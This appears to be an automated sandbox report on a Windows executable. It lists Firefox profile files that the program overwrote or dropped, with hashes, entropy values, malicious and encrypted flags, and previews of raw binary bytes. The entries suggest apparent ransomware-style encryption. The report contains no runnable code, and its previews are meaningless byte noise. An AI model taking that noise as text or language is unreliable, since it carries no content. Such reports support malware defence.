C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	13637
Entropy (8bit):	7.985782823587398
Encrypted:	false
SSDEEP:	384:LBW8e4xq/fiTHHiEErI/6ycV6V+kN/1slWu3a/22O4lz2SQr:ET4xq/fiTnOE9cwB7slWul2O4z2Su
MD5:	E34EFE5B0B9EBF5A8EFF6FBEEB49B8A8
SHA1:	4914F7B53E568DDAC22CB5A95AFEB31BFAA40463
SHA-256:	CD0F947AD89023EFE73E8412109C88F9C589E8A7F3A962B90E47869656F41170
SHA-512:	8C37F741644C9C26DE59703CFB6828C10E00D2D75FC2ACCE394BCA5A95D6293319B0B92DB9AF2C0F5C62AB07853621F3305B8BB3E8FEA85CF051DE2D9B9A092A
Malicious:	false
Preview:	.....1g....l .:./...Al.......\...,=..v......s(...H.."..)...S.....\|.Fu.A.;....oN.C...,....-...9.E..hF..0...s.......a..U...rU...n...X.2.CJbK..!..j....J...Ct..j.a.e....Y.%p.......P...X.M/.t\.2..m[...}....\.@..$.%..[....&..9...!....ct...._......4.$.E.{g.. ....Q.^.x..b.L......e.^.y/sZ......oB.3.d3.,..8..FT...<F..xDn...Q....D..J/.........d.X...B.... ..\O.k.........rw.....f$g....`...9=....'f4.x.........nL.n.....X.]$.d.....e38...E.?. .%4..,...!Z.l!..U..Pv....G.c...T..9.c{LB`..l.....yhPo....w.t... ..`a.8n...>.Q.%.@.Z.rIa....>...=..\|F..[#.V:y..zP.i2D!<.. #o...lt/.......3...(..W5.A)_......N'T...=.(.:..........C.$.........N..d+.\|\."T....r..,.49.QN.?FO..27.. .N%=8..j.M..W....Tm4.#...........HM.!b....}`.......@"....V....f.1...).n."Z.a..-l1...l. ..-....h.!.q.n.-w6]..r=.-.... .".SW....3..c<G9..k..e....+.....6..$.....^z...p...../.g..Z..4...1.\|...&tCE.&.."...G-.>...&.i...AT.7..C7@.D.8_qL...2.u.Oh.b... vT.o60....F..A...=8!......{.`."..`.w......*j...g..w

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.5041190234938
Encrypted:	false
SSDEEP:	12:YW6GuyosqGTKLwwCOBcMhcLrmK7sZ/0YK1UeplQscii9a:YUuyoJGTKqOBchLrt7Z11KsbD
MD5:	BD2AD17125242A271CDA1EFE1D1D4080
SHA1:	247B04AC295EE52EE21500856F995061F2B68F6C
SHA-256:	E7FF6FFCEDE94EDD9E1D2D8AF0C43E46016A51345510A0F242099DE5BCAE13AC
SHA-512:	FBC9340EC8ABCBEB0B15AB4E040D82307B49C8571471B28C83B4D2F8375678C0080DEB1748F599C9F0FFB029F61EF9AC6B615496E5121F08EA4EDBC7A0A8FE54
Malicious:	false
Preview:	{"ses....s.hH.:.@O+o..eM..}kq....t.L.....cuDl)..C.m.k........>$.u.Z......RP.....T...5............5..7,4....,@....`.=.z.....q..~.>..J.HQoFVO1g..g../..y. ..E...0nW4=W..a..N..F...pO.)#\0...ZJJ.o.#..k.`...;A\|?..}f..V{v..3....b......9...05...:.j#5!.H.)w9N...M(F....@%.?.../R......vp.gE..b.....:.Uz..........r..G...r.. .aH..9......dAN.y~B[":.......o&....GB..\|.b...$U.....WD...........8.C.52.....w...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.370277089008267
Encrypted:	false
SSDEEP:	12:YGfK7KiaSmfIiGTUvl/stXF/gUJGNQscii9a:YgK7eSmtGTUN/EhhJLsbD
MD5:	D05B0BB6877D7930614C4542E757E6E0
SHA1:	2B3FB064FFFBC5BDB0FA80B339BFB486EB77DE9B
SHA-256:	819989CBCE21D45C85B6A7E79ECEFEBD384785CB9567435C08B4E5815DDE96C8
SHA-512:	34A15333E93195EBFF929E067B9A9265D9D2B5886D87B68C69D1E002FE68DB129AAA7E2A513F2F6F1A3186014BA61064150F049ADEEBDF0C2CF625F270E155F4
Malicious:	false
Preview:	{"cli.....O...../..0v.Y...K.bk..S.1p....p...}..5s.H.U.&([.2&...BwbJ...4....[,.....g..i.($...sQM.w.]Q.W...R.+d..dJ{,q.tU....I..h.._....q.[.{\|.....b.T.&'.J.Mt..."..........`..b.c.%Kd\....]-#.x........t..."....IU..+m.......E.;....S.T7.<sw.I\.?...Z...Y.....&....J.`...EC?M:..0.vy..\|..Y..ES..}8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	7.958355472056111
Encrypted:	false
SSDEEP:	96:S8jf7xrsF5WZQw6aw2NdAduSCsH0D8QgkIGj0F4YtA2tvG3UpuLdC+mn90Th+:JIF5DwySdAdPCsUwYp0FFtT5cClCTh+
MD5:	CCE4E2280597D2EB0EF48E40F66BED0E
SHA1:	422FC5A29165586766BE22B4666684DDBF1E1F4B
SHA-256:	C90093B2C8478B113DC616A7C940CA85298C62A2C441E67AD866608284C32F4E
SHA-512:	97FF8F02798C4944C54B08B94AE7D8FFE82056F13F0F4114D954C1908ED67E89ABC5AFF957E73761E616B46D8AEDAB9E6830499E12E4E0C3D1A148BC0B69C1DD
Malicious:	false
Preview:	mozLz...S..X7.Y....r..S..F.?..,..Yk..^....[.[d..p......P.....#.EE..............g~..@d..r)....l.V.#...R........`U...32.$..N4$...#......z."'..J.3..\|.}r{r....V..VA.X.htS[y...^..P.Q.kPp.J$]~uJ.Q.B.@.?......Ux._...../.A...S.Q....._....6..K.n..p$.T...:..G&.Y.o.R..D..S...x....A#...EU>..4..6.\|.b..2K;.j.r....#...y&5=..O..n...D...]..2.X.V......H..a.92.t.Y6V....Zl#G..gM.g.....r...-....x...&g.J...H..(bH./...L....;.....\|..x.....F..L.t....C.?.P...g.-..6y....... W.Y.....iz3...<r.....0._..n.m.Q..O.3h._a.h..x..Vq...a..s...G.6:.(.`..B.!..cY....g.QeV.T.9.T1..o...M....1m?.H...=.8/..}...>..&..03.l.G...U.fg{..,..;fS....z..r:I........h#..C.#.`R......Sqd..[..43>SYb0..(.%...M,t...1=m .s....QF.[...*.!. ..m%....kSt..6.7..e.3...ri.y...#&O.)....RH.".u....]8.....L^n..i8..G.0../.{?3...Eh:.]2V.......p..D.l..O..F.\|.....L....J.......%....k.V.,...g.. Z3i$8N.o..AG.+....Q-..El..]....v...\].klo...;.....r/Z..y.Q..%...........PJ:.,O......?.G.....[h.,lJ.. ..`#.iv>XX

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	7.961534546954533
Encrypted:	false
SSDEEP:	96:NV6vOd+ss14N7bupF8EXAOkZLq+LUaibvNIcWzR9Vk7+:NV6vIg4FupF8BOroEjKNQ+
MD5:	40E8C1E9DAAB2AF020B0881BBB7C3AEB
SHA1:	28FFDFE46ED1A7E00C199531B103E49BC5212EA5
SHA-256:	870E2BB580EE752B8546CD192BA33D9EB2EFB36D92F1F60A15A9175D1BA95E42
SHA-512:	BB06DC91DDFD729F481724CDF0383EB854FB970DF0C8B3CE0B1F5F504A711429BC6793054F0C1FA9A22298800B54B8C1009AFB25821D6E352C6B2CE99BAEFE7A
Malicious:	false
Preview:	mozLz....{M..H..ga..7hr..Q..Sm.....................n....6 7.j4...x:...I...,....>.....C.r.'W.G=;........V....S..R.V9.?\.@'^Oja1.-b......7d1.&M7...x.....a.....PT{........m..9^.D...$..p.+.>nC....I.@.E.0.%...."m.#.B.,..V.....-..3..(a.D.......iU.@U.]W..%`.P..?G.bIE...k.\|.a.n!..s\|.........D..6\|r........J...L....\.2.d...%y....U.m.v.7.G.......@.\....~....k.4..9.~.....k...8.].`J.........:.<.;.;.z..Wx.t.=....iA....j....R..s...g....T..yE..(..7....#..G%.. .q.;..a2zV..R....G.cyP..M.A.z..L...w.5.b......d.Z.....".1QHhx..b\...0.Jg....z.bc.v.....(...........uP......gsMcQ{.....RR.Rg...._vUa...j`...ix...Cx...".....9.[..$.....Hbq.,.$...c,." 0.$t.........[.....#.~ik.0.j..~.o.rj\|[sV.j....eD.....~._m...m..dt.`I..^..._kO.(....V_yu..M&........a...7.....{yn...j1..%GrU....1.[N.=.......{....t...4.'..Xm;3{...P........ZhXT.".[..........4.\FW./.w..c.86.. e.y8........).{......%.."....... ..I......-.9.J....\h.\|.2C.i7...0B4...>(f5rj<1G.F3.,:K...^Fy#....7@..]9.7~..+

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998529111926876
Encrypted:	true
SSDEEP:	3072:HQsJaAuCS9xLRWFLnK4KW8CVFGLyHjYDPT64Wu53:HfX5QqLK4KnCVNDgV73
MD5:	605960ECEA944154426068EAE333DBC7
SHA1:	89884C62C7BA9C0917D1FBCD69E185EF3BBFB091
SHA-256:	1014913A2F3DF67AFCB939CAD59DE6C37DA3A83CDB0CA747A8938C8124EB57FF
SHA-512:	A579FB0D077706F1F862F91CAA4289EC60C689C20AD578C51ED6CA789EB0A93D30546036ACB865467631DD75BA868697468D07467672E6A6F2A703C49556F99D
Malicious:	true
Preview:	SQLit.K.....+...l....y....X.........U,.....5............U...h..u........}.KF...`.-..JST.z...WG...........J.. ..g-.....@.l-....!b.1.)....A..jK<...Y.....X..<../...J1.$q./......2KZh\.l.N....i........8X....?......=K....i.....#.hu.......E...c..K_...@..3~+vhv....B8.....C1.\|.......^.OH......l......_PY.?.....m.........6J.....E..em..qq....9...U....s..d2v.{J.b...X...WxvL..{.\./.[.5^S.F.....y.7...w...M...t[......x2...M.. ..z ..y..I..3..Y\|..../.nu.q;.N....O!........c........@y.T.B;\.......#...[...D'q...qQ.y@.5#.]E.)z.5u Z..H..b......b...M?J<.wwCa6.<.-.ZD0X4..r=P)ln........l.r.?..C#..^.w....bZ.r!o....>{.Q.i..#.a..".#..k?.........k`..3.B....W..^..e.o.#...v......u u.......X.I...#...N...x.Lr.c<.U...)8.Q...j .Y.M7.Qu\|^.o431...5d..#.]..99OL.....6.../vf../w6....=.....S..9..F.9.3}]..b0..].`W...r%m...9.._]............)....P.}...e..d.$v.x.UE...D7v.n......Ri....?+......_mYz.2.?&..q./c..?........2.6!k.HX....p.....x.....C.;..).o.C..8.Z,^-....Ua.h..p...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	TTComp archive data, binary, 4K dictionary
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.353862034828316
Encrypted:	false
SSDEEP:	6:EbooUCaQ8nrk23gT1mu6a+r1foii0N4w9Q99Lmj4O6eshuQW3cii96Z:J1rk2QJXL+poivX9QPS+phuQscii9a
MD5:	7D10CAD8B405BEFAAEF74C15ADA9A4C0
SHA1:	EB9A54AFC3D2EECF1EB7BCED8F30EC609FDAE6FE
SHA-256:	522227DE8A1F89869014D22289BC51A8E8E104AAAE023D49951E428F00A23BC4
SHA-512:	9BB821666C3D9562C9AEDFE39C347516CF6EC9C0416E8222FCEA9948F9278B2107FD3A8A653BF0AB59ED74778BB9B4C2B3EFB5AA80E3992B20846EE1617E6D81
Malicious:	false
Preview:	....&....k.......QBy..,....N..+dC.\s....=.'....Y.t.8...V..a.C....e._<...S..9..:..%....$7...Rk.r.}y.e.=dm..t,........ym.f.7...D..A....CO+0Q.7.....M..!.......mN...].S.*.V.2......\|<.p0..%G.f8.......H..Q.bS)..e......Al.Ja..._....R.......m.[.[M........q.........pb.,.a.v..Kv.Oh...w..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996249364700829
Encrypted:	true
SSDEEP:	1536:JXD3Z3kYktaZzRgdKITTuUi8abv5eNr4Rk:x93x7ZzRbIT65eJT
MD5:	C094C34A9788710A786DB3AC29B23576
SHA1:	3535F940AE116A2D29F02B4B0725CDB9AE747B16
SHA-256:	93561F3EE51FBC273AE67AC44680CF56B85A3A265584DEE866A4024E48D379E4
SHA-512:	C2FCF34F008A35DF3832A4C37C53CBEA0DBA90E3423C0E29CFC4C2460C0EF6F8C384FC09B7BA1BF9211A8ACAA11FAB11A3CB31ABAB939642668ECEC654D66856
Malicious:	true
Preview:	SQLit..J<..h.. .M..vtkfh."K8+...8.......>....Q.1.N....Y....L..".7mbU.=4..3.V.EBX.Z3.R=b..on..U.....h.3.ev...8Z.X.ll....NI.n.M...N}..N....i..$L...H.i..h.yK;F.3E.....-u]....U>...-.aSc.....(.{dmT...-...k].R..h.d`E^..........Q..f.A..<Y...eP.........}.e.7....F_F.=1j...E_.c.....C...4Pg%...^4q...."...~h..&i9...M,.I.iO.6]...(.'....x.R6.%..w6v.H....W......R..K++...X...`.@o.....!*"LzD...?%7.%3O.....\|.../......+Z.}a.b.,.V.......A#r...o.n.).u..r..F...Hc._....^.^../....wkQ..OmB.E.]Xt.....J.....g..`. ..W3.7V..v.}.s2.;O.......F..G...@[.Dx.c]L....#.c..S..#...........(W..n.,2c...._.!. 9Z.....%.....^J.P...K%..A'G......nY.D......hug1!.S.'5..... ...xp3....c.HN%.7.,fu&........MO.g.1..Q..U......6......G....L.."..........P...Y.y.....%.z.k...7..._fr\|........).......k..F~..=..rf...zB}...r.@`.......z.y...r..#.p7......t..4...'......ir...$..`ykZ."..&\|5^.dm.iu..k.B-J;..1..t8.]}\\.....D.t..2.]5".....c../]v..k#,.......Uj...[..1K4..2.....P(vl.p]0...5.Fl...`.(...c..kmK.UP.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994512207420377
Encrypted:	true
SSDEEP:	768:gM5L3vBTQQeF9d3UqyZ0cR2P0cjQfTNSoFVf0r6xdAY:V1ftFeFXg0cIdc7NSUxSY
MD5:	103387AF48962647E5E21FB4C5595273
SHA1:	02E41845742B06677F983088742BE7784B15AD78
SHA-256:	F2B3E3D05DA4D1AD57CE79BD44D447280832A8BC8D8510FE11018EA4D8A89DA3
SHA-512:	654B6DC3898148F6981AC22F3E0B42EE576C8111DD10820EBA1E88A1F3C52C929DAC412B1506B91019C85FEC91754C1B34C5108F9127225DF2348648BDBAD313
Malicious:	true
Preview:	..-.........{q..=..<a....A16.....^..N.nO>...<...u924`.........#.........P.......@...8.4.DiH..... d@`..Z..tM%..RC%..F....Wa.5L.1.0...B.n=.E....CY.]......l......_..........o.R.veC...-..s...B.....=..tM........%.X{D.J.5rfATR.R..J..gdF..C.....,....\|.n....MP..S.L.I....G..:......6D.P..<k$ .....yH..%....f..3....?...1...~..H..$.!.....7..$..m-'/...{6.6.....Li.v.3.1.B..Y..{.....6.tf\|`.....x.u......$!......S..p..].C._.5.p......u.......'....Y.yQ............3.2...Ur...{9.<.K.@..g+.n.L..%..6.U..b....1.m.v?...._\gdd}T.v.m:8 '........ .^.............~O.k#.;..Y..rY.+.G...^.s0..........r.S..,9r.7>..9E.!.R.P.I....7......~K......h..<.H...x.Bv...ij.dp..m......+f....o.o-......B..;.y.;Lc/...{...M.u.r.v..?.G...rv.[.........b........r...........v....D.H....LR.....n>..e.iPVR.......3.w.-W#...Du....k......0........(..e.\|..../S.r..g.p@.W../..'.#...$z?...O.n....C........%$_.2..f;.].d3b.sd.Q5./N.\H...L.c.W.a..gZs...}'......`m.\r....>....L.Cx...8=7>V..7..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995713184589599
Encrypted:	true
SSDEEP:	1536:N5yCcXTul9ZIhZ35Afy/on2wMv+A5kxdXgysVFlfxv1tIU:N5pcX0aZJAKjx5kxlOfx7
MD5:	816F83FED4154BA6422AB47A2CE509A6
SHA1:	72F022CF95954DE97651637CE9383B410794D631
SHA-256:	C95E0E48055DA5F19E7F422C2E0E8FAB76E2F50772307437DA42E826D48F4929
SHA-512:	A25E17CEB963101D85710C8E4D9BD9B88853C2BA7755F6AE485D2D646649EEA6178D7B0D60920B3682665C292864143A211431C1F079AEAFD6982DCE4A646E81
Malicious:	true
Preview:	SQLitO..}....<.7.....`...~....Zl........`..B....#....w{.le.k..kQ.n....H..U...(...b....lN.....h......,wK..0x=..k......YOY._C..b0A..E.`..G$u...I?BR...m.H.;.m...\(w....&G...P.@.9.2.....<5..f.u.e..v.7...t.+e&R..?..........1..0......Y......u........n.Jf.6x/.Ms..U............@>.$.....z....T...{.I=(Z.~....~K...M.8.8...i.J...._.....6#C.x/..7%..Zk...Nr..K.+.[?.?T.:x.......g..../.p....S.=$.....Z"S..(u..C...9.....kb....k...n>n;h.......[n....~.K.u....+..8'..A./..h?....z..B.U..m....f...S.....{x]..vj.Hs........a.....@(7.v..w..r.T...<.P.4\Wx3..oZ.3!.:.F.(g.\..~.{v...M.s%3..b..".......R\GP>..2...0..+{>.0xe.......Y83...P.F ..?..(.1J....s..#.....O...m;..`....<..J...M.)Ou9T]<B.\|.R.?D~[.}.C....O.y..^r%....O..t(..-..\..sn)......O..^c......%-5.bo6~Z......@...r.eN.{...L.).%.\|4. L_..g...&.....8......w..=T0."......P.e.......Y....jN.gK.....*....D..Q...H..'.p.y\.UGD.gH...4..^b..[...\..&..q...iw.7{.....>..K.M)&.b..vF..~..{>W/pX.sW...R.Sj..3u^/..o.[.x>...n\W...j.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995396417683245
Encrypted:	true
SSDEEP:	768:nBAWqAISXLYZbu6ofFI7YIP8+HbYR+87iRNAt0:nBAWqAISUBu6Pcj+7jb26
MD5:	1B71961BD611EE2AC7B6B3184863C98F
SHA1:	DA6322348922535D7B68F0A41BC9327F03CA89BD
SHA-256:	1C98754937F8672301EAEA3265F8B8F5DD11F6463B4ECA83C690F8BFF0146A94
SHA-512:	EC0F6363ADCB16676E02EB1F17AA49608B8C1509BB88F38676FAAA5D9C288C10ED02633C75F653BB3089CF7779EC73D8D49247EF35EC06B5CF47FE8A8D9084B9
Malicious:	true
Preview:	..-..o.....x...E.._oe..\.7......e... .&.z...rW./?&."...g(Hr...........h...k......~...-8... :..[y.....,...0.m.^f....n....Z..Z....L6Y...........u.?..aS$.4......."...fD[...\|..a7M.i....TO._{.......'.Y.b.\|...M....]m.KY..7o.6..i.._..d5../.0...v..x..x.j]z.r...y.\|<].......C.Cg\k..~.g...!J..w.P.^!I8...a...%...........YA....Y/....~.\........:T... ....)...",G7..GMS.H.1.%.......+."....!...,l..LaU.m61.#s...Y>y.........@....E..`T+.Y...D.3.g<.qj.z.PV..>..v.:&...K.{L.......D....uDh.....\|.`.....S..^.`...5..>........^,N.........$l.9...zpX.[v. ..........;.r....\w..u..A-j...%...V?5/. ..Q>..f....;...6..."J...`D.ID.N.ir(..Bg..H..i.-@..Ewg.U..O.M.H.....3...6BQ.T+..u.k.j......).......b..$".Jj...u]..~.X..@...{....:..V....Zw..OhU3/.Z^....B/.. .%.Z....e.R..tv.+.o#.\|.4z....C.b...<'R.;)7..Vv.. 3.B..7..;&2....s....NQ...4.x...[...=t....,Htl.......yh......O.^.+........,.Q....d.t]g$.....`........R.?.P....{...$.}<H".......&p.f."....e..h..hs^....Y......3.........=.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995907546145304
Encrypted:	true
SSDEEP:	768:n47KmYP9DGzwbRVwKn0NNYy45THhi0O4hN6MgIMEXbY8v9bmAFNC56yTWNJ:nuK6cbvpn6Yy4tb3gDo3lf7f1J
MD5:	CBC9C78578DA5633AF8DBB49EF189B4D
SHA1:	69A7F875C46EDBB6208E907A29300298967F8374
SHA-256:	2C4980D8E67C4B6871B3FB40E4E828110E5D2ABE2582D271232F28D7E5041C8B
SHA-512:	10611B68362CE587031648380D4B3621EC19CABA99EAA114E10304D7C8EA80A7B11F92924B5BEF21CCC7C0E4D119AB41B3C94A3E3F84A0C4D4F702C3C5ECFCE9
Malicious:	true
Preview:	SQLit)...sb....D.k....v..^..57}....!;d e..=..../f.>.v.T.!..X`..IW2l..R.....i..VO......d.2...u....h.A.&t._.n}..]dQ...Rk.U..=..._.3{.;=o.t.%Qf..G.V.o....=.......dZ.#.;..6Ui.Z.L...... A.......}M.E.\(.m.....s.~..Og...).T.T\.=....+.. ....mZ...>...%.gWd..$:Z.D..^i........o..Rx......!..X.(...3..J0J...I\".....iv]x........Y.1..m....&.9....gnu.2.{.VB...\....+...:&.f.)..C..23...!P...R.......X$@....j..t.pL.s....x..i<.....1.I..N..tp....V$..I:^.<.T?....;>M...N{....V..\|.&m.^1`[.M.8.......R.?r.H.r.....H..n3_.....`...DD..Z.R%..]#.p...}..+...0....#.E.H...>Yf.......BhZJ.Yo9Z>.M.H....q....\|..t...C..J..]..s.Q. k.f...4s...:.;.`..{@.._@9kb.$..2.....aF...z..?..........p.@.R..3!..,q.?{.P.rk....m.....3~..."O.(.5....!D..s..h.Z.K.(Gh....Y..<w.........W.._..>..;#....0.6\."....T.J[...}.p.F...Ev..{z.+.k.......q.WS...2j...Qq7...\..~.y=%i..IG..P........-.....w.......8..S.........o.q.Z.+........\|..L..7.D.9..#z3E...K.b8..].eiQ.e..x.Y...M..q..v..O..........?.^.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.99326147433955
Encrypted:	true
SSDEEP:	768:2eGBPui46Tukgy5FEGS87mIaLpUyHJUe160gzn5Wg2JqlKnBj:0BuiNu4xDkpUyG5WPwKl
MD5:	418CA04B8B43E261C836CF336DA80663
SHA1:	86635C372DB92F801690126B1A2F6E05C2513B48
SHA-256:	EF082FB5239987789B75D15FB82D0CB9F58437CC247B28987CBA6C610BA1CF96
SHA-512:	6F5688D900AB9BB1AAF3862B6618156F95BE6E87EF7778321DCAEA4DA18C23980A4B8DBB3AC2813FE6333897F8059D9565A0734EEF92F08DD90D29F2327EB0FE
Malicious:	true
Preview:	..-...9Q..T.L..>.....!..%.74.3..._..FAc%.w..4.cz..z.\.\|.\.o.%..AQ..i&a..g.JA..Yk........... a=...$:...d...........(].e0..... ..DT.B.^.n..o.<......3HE..Y$,......ww..".+.........6.ppT.5q...x..E.i.1..J..e.n.]t.u.0.@."...)...?...d.b..........._...~...!.wlj+.+3....`&..Z.8Z.}A6!(...b.-....,..B.DJ.T.)3M...f.-...e{.u=.$....!."^...Z._{W..y.Q.xZ..l..L.._J"Mk...@E.J..?'....N5........w..L........k..\|}O.R.?rG.1.H.z.u.ox..C./..T....s....TK{......]..,,...p...l....b.V.Wp%.u..g~..r...xr..Y<...;...X...>....V...S.\=..._.F.>..._......=.N.\|Z.2..[..W_.r..."..V[..z.8...........e.3.1#=r......o.S.....%.....!.U.P.8..ptb!...$..Z...\|.".yd.cS..2.!/..L.....x.X..`dl.;=.<.<I....9.:S;h-..0hp."...,...7.\|..J..6..=.../..2..4....7........e...ea..B.^...7.J.....{YS..s..-..pM.<N........e`......V..4-..)NS....<Q.....x.Mg.#Y>....fx.+....y.P.0J...\..0... .,.....T..Oy....t<.7....C..NH...z....&..(.w.. .e@n.l.B.\..;..B.3..;.....}..Y.-w.tS.s..(M{.I{......)..t+gb..U..`Ja.#.....V....x..8..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995493110966319
Encrypted:	true
SSDEEP:	1536:ced2MGOwHcLF8Y4mX4o+19oMp5XOvDAD44d:fdwHcLF8mooyVOLk44d
MD5:	69ECF2BB64B47693505A791B7304F0F1
SHA1:	A4864343DB2A97C15C90AD627D8E179B6120282A
SHA-256:	F58A7BDD9718C3516063B2BDAF0BCA4D4E8014BE7BFE71C928A26CF1A388EB35
SHA-512:	5FF9AC1054E86475C3EC394BDAB48E90B75F93B978AA6D256F340E0BE2D3501305E857DD130C7A54BBB536011CC91F7E5F0039B09CB42BD46A8B9EC275373E41
Malicious:	true
Preview:	SQLit6.....g+....Qw..o;.&............k.f..4.E..bo...k....L..kV.2....\..G...Dw.S.. .Q..s...[.}.^..h.}B.VB>s....1..)OG.$.C.`\|...%H... .c._..q4.^.V/..{`sH.j.I.Be..T.r..[.8......a%.,.....=.p.0_.O^...0.%z..a.].a4b.5.r.iB..S..!..g..( !a....D.....L..H...,.j..^)M.\{...o@.Y.'....s....PpO.q....;r....y.....\......'....DY.#........bh....]0~..]~.. .y.w....d....HhNo..U...is..Z8...\|....4,.nm..@.....@...+} $u....... .......Pq....}~...K.1.....3s...9....Ac'...{.Mz19.v.v.Es.).X...s..l.T..Qa\...Z.....Er.b@8...... ;..%......bK......!...+M.......iau.._\|l...\|?....$c.m.r..+.%X..W.z../.^.!A.q.z..:rrS....'.'..\..c.v(..?.. KBlL$....^.X..+.W.A@X..x..v.j.%..&>w........c.B.9......X.....=.....t.]~TEP=..c#;.F..zsnH........v.re?...Eg..}.>.4e...l{).BB.7..p*...$.S.T......rq..U31.Aec7.-\|0A.-........)..r1.$U...2...!..`.n..f...W...3.:O.C._...R3.........5K0..f...[B._.%.k....9.Zp.8.Dc.>n....X.wZ]...4..K.3.#V...oe.j'........u(..../......p...0.i5[.\....t...[.>.....bI,.atZ..V.(.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994583641966991
Encrypted:	true
SSDEEP:	768:hsqO/QDJHOzOka1G3b+79hBGmHDTvDvyFeAgbEbRRqT8MIU:hXO/cq0gYXvvDvyFnmEbKT8Mf
MD5:	B3B6A8DF3F5873442359135CB85B0B67
SHA1:	752F86551F265FF7F18BC66F76746523D22D5ADF
SHA-256:	5268790CA79A784D51D84AE42A39089926088E20EC824C9A22A6A4A07FC8770C
SHA-512:	A5E0716498C365C8F1624364A3F2B73D1BD117ECFF1DD5EA0C1D1E6FED7A45E43AF36BE076D56B88030B823D11D07B60EDAFF42B9BF84AEBBC792B7A4896766E
Malicious:	true
Preview:	..-......X9...#r..o..../,......\|...K..j........A.Yg.,.j7C.f.P.W.//q\L...3>.hr...W..St..R3.R..o.@..IEE)-..5...al..#%..n.M.O.#..X.....4..Ov.).L..7...."...{.....[+D.Q....ny{.p.5....c../....D.s.[bJ%d-!...W. !bt.l6g2.q...qcdE.9Ou.&.aY...x....$.. 28...uA....:...S.e...>..'..J.rp....@.ZO.!....K3...%.L....(G...AM...x5U.5....H..W....1.r....xcg.I.'....R.(4..fW..z/.......T5%gO.d.=....f..w.W.E....K.)ke.v<N#.'8...?..6k0.}..e......>....(...P-\|...?..S.u.M.:..!....\..ED..?....X(.Jg..y1Y.["n...`.F.AE....-.....1.....6..... 